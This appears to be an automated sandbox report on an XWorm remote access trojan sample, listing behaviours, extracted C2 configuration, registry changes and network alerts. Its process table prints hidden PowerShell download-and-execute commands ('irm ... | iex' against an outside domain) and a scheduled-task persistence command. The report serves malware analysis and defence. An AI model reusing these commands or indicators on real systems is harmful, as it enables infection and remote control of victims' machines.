| File name: | XClient2.exe |
| Full analysis: | https://app.any.run/tasks/cac43710-1888-4119-b75a-5928737e7170 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | April 29, 2025, 16:51:31 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | DECF07F8D8E14BE4921BC998A3980633 |
| SHA1: | 4C63EB08C7D4DDA947C7241E39B1285B411FA959 |
| SHA256: | E7BACF378B1307F2DBBA544F307DE1A6A1DD66866EB772402102C1CFFEB4B636 |
| SSDEEP: | 1536:cIAX/11tNFC9749st9tEEA+bePmErihVI3LW6XOAZ8:cIANNIIEA+beeaih23LfOAu |
MALICIOUS
Create files in the Startup directory
- XClient2.exe (PID: 6028)
Changes the autorun value in the registry
- XClient2.exe (PID: 6028)
Uses Task Scheduler to run other applications
- XClient2.exe (PID: 6028)
XWORM has been detected (YARA)
- XClient2.exe (PID: 6028)
XWORM has been detected (SURICATA)
- XClient2.exe (PID: 6028)
Run PowerShell with an invisible window
- powershell.exe (PID: 6080)
Changes powershell execution policy (Bypass)
- powershell.exe (PID: 6080)
Bypass execution policy to execute commands
- powershell.exe (PID: 2064)
SUSPICIOUS
Reads security settings of Internet Explorer
- XClient2.exe (PID: 6028)
Reads the date of Windows installation
- XClient2.exe (PID: 6028)
Executable content was dropped or overwritten
- XClient2.exe (PID: 6028)
The process executes via Task Scheduler
- XClient.exe (PID: 2772)
- XClient.exe (PID: 6392)
- XClient.exe (PID: 6436)
- XClient.exe (PID: 5772)
- XClient.exe (PID: 5736)
Contacting a server suspected of hosting an CnC
- XClient2.exe (PID: 6028)
Connects to unusual port
- XClient2.exe (PID: 6028)
Starts CMD.EXE for commands execution
- XClient2.exe (PID: 6028)
Possibly malicious use of IEX has been detected
- cmd.exe (PID: 2772)
- powershell.exe (PID: 6080)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 2772)
- powershell.exe (PID: 6080)
Checks a user's role membership (POWERSHELL)
- powershell.exe (PID: 6080)
- powershell.exe (PID: 2064)
Application launched itself
- powershell.exe (PID: 6080)
The process bypasses the loading of PowerShell profile settings
- powershell.exe (PID: 6080)
INFO
Reads the computer name
- XClient2.exe (PID: 6028)
- XClient.exe (PID: 6392)
- XClient.exe (PID: 2772)
- XClient.exe (PID: 6436)
- XClient.exe (PID: 5736)
- XClient.exe (PID: 5772)
Reads the machine GUID from the registry
- XClient2.exe (PID: 6028)
- XClient.exe (PID: 2772)
- XClient.exe (PID: 6392)
- XClient.exe (PID: 6436)
- XClient.exe (PID: 5736)
- XClient.exe (PID: 5772)
Process checks computer location settings
- XClient2.exe (PID: 6028)
Checks supported languages
- XClient2.exe (PID: 6028)
- XClient.exe (PID: 6392)
- XClient.exe (PID: 2772)
- XClient.exe (PID: 6436)
- XClient.exe (PID: 5736)
- XClient.exe (PID: 5772)
Creates files or folders in the user directory
- XClient2.exe (PID: 6028)
Disables trace logs
- XClient2.exe (PID: 6028)
- powershell.exe (PID: 6080)
- powershell.exe (PID: 2064)
Reads Environment values
- XClient2.exe (PID: 6028)
Reads the software policy settings
- slui.exe (PID: 1300)
- XClient2.exe (PID: 6028)
- slui.exe (PID: 4724)
Checks proxy server information
- XClient2.exe (PID: 6028)
- powershell.exe (PID: 6080)
- slui.exe (PID: 4724)
- powershell.exe (PID: 2064)
Create files in a temporary directory
- XClient2.exe (PID: 6028)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 6080)
- powershell.exe (PID: 2064)
Manual execution by a user
- notepad.exe (PID: 2796)
Reads security settings of Internet Explorer
- notepad.exe (PID: 2796)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(6028) XClient2.exe
C2https://pastebin.com/raw/0x4emXV3:<123456788>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeXWorm V5.6
USB drop nameUSB.exe
MutexJJ41UV4bCHa2UZyp
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:04:29 16:50:08+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 62976 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1155e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| FileDescription: | |
| FileVersion: | 1.0.0.0 |
| InternalName: | XClient2.exe |
| LegalCopyright: | |
| OriginalFileName: | XClient2.exe |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
151
Monitored processes
18
Malicious processes
1
Suspicious processes
2
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1128 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1300 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2064 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command irm 'http://dayzcheatcheck.online/nbp.php?name=xwormfix' | iex | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2772 | "C:\Users\admin\AppData\Roaming\XClient.exe" | C:\Users\admin\AppData\Roaming\XClient.exe | — | svchost.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 0 Version: 1.0.0.0 Modules
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| 2772 | cmd.exe /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" && exit | C:\Windows\System32\cmd.exe | — | XClient2.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2796 | "C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\New Text Document.txt | C:\Windows\System32\notepad.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4724 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4988 | "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "XClient" /tr "C:\Users\admin\AppData\Roaming\XClient.exe" | C:\Windows\System32\schtasks.exe | — | XClient2.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 5244 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
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Total events
16 952
Read events
16 936
Write events
16
Delete events
0
Modification events
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | XClient |
Value: C:\Users\admin\AppData\Roaming\XClient.exe | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (6028) XClient2.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\XClient2_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
Executable files
1
Suspicious files
2
Text files
9
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pa3z04jj.sxe.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fiz1fuue.qvm.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6028 | XClient2.exe | C:\Users\admin\AppData\Local\Temp\Log.tmp | text | |
MD5:F2A7607663C316105766E15E2626A4A7 | SHA256:3BE85BC87C791DEA7DCB7EE6F7391DB6F89F338C3E399E5AB9B1CBB3DD16A42A | |||
| 2064 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rbccwgls.ark.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yh4y2bg2.awc.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2064 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_estvzc0x.p4j.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2064 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zjfmuzkn.2sx.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6028 | XClient2.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk | binary | |
MD5:CEB14B85D3DF305848BF27C4CE58AFB4 | SHA256:5EB37F8E6CAA25EE834E22F4B7BEEDDBC20E719143EC6F5E0DE23270F8080BB7 | |||
| 2064 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rreqnxer.wty.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_majlkjpd.uav.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
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HTTP(S) requests
6
TCP/UDP connections
54
DNS requests
24
Threats
37
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.38:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5400 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5400 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2064 | powershell.exe | GET | 200 | 104.21.52.212:80 | http://dayzcheatcheck.online/nbp.php?name=xwormfix | unknown | — | — | unknown |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
6476 | RUXIMICS.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.216.77.38:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 40.126.32.76:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
6028 | XClient2.exe | 104.22.69.199:443 | pastebin.com | CLOUDFLARENET | — | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
pastebin.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
4.tcp.eu.ngrok.io |
| malicious |
slscr.update.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Online Pastebin Text Storage |
2196 | svchost.exe | Misc activity | ET INFO DNS Query to a *.ngrok domain (ngrok.io) |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
6028 | XClient2.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |